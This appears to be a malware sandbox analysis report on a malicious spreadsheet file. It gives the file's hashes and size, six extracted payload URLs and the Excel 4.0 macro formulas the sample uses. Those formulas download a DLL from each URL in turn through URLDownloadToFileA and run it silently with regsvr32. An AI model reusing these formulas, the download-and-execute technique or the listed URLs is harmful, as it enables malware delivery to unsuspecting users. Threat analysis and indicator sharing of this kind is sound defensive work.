General
-
Target
e734413e810f048548ec386d870ac4379c473a933ccd49ad2862364fe91b7f4f
-
Size
47KB
-
MD5
8ca12c0911ee7ca4aab1d457c127ad91
-
SHA1
dcfd03672d0848fe32ea5996a5f70f3426cb2b31
-
SHA256
e734413e810f048548ec386d870ac4379c473a933ccd49ad2862364fe91b7f4f
-
SHA512
cfab134c40885bacb14481c2ddebb973878b4d99617063e574218176cb589338dda5229ddbe79b2be62decd354ceac44433c58272910d0adc54f1693536ce5f1
-
SSDEEP
768:UCvpevwWJPUFysffJ01+FXvJvywB0UC7VhaX/qmqnrd3z4eyFnUC/EXy6obK:BRMNUFy/1+hzdCXaPqR41EC6QK
Malware Config
Extracted
http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/
http://hoatuoiso1.com/replace/fVea/
https://rumkeke.com/wp-admin/A8/
https://www.restaurantgaig.com/wp-includes/HLDoANj/
http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/
http://www.hiway91.com/wp-content/Y/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()
Signatures
Files
-
e734413e810f048548ec386d870ac4379c473a933ccd49ad2862364fe91b7f4f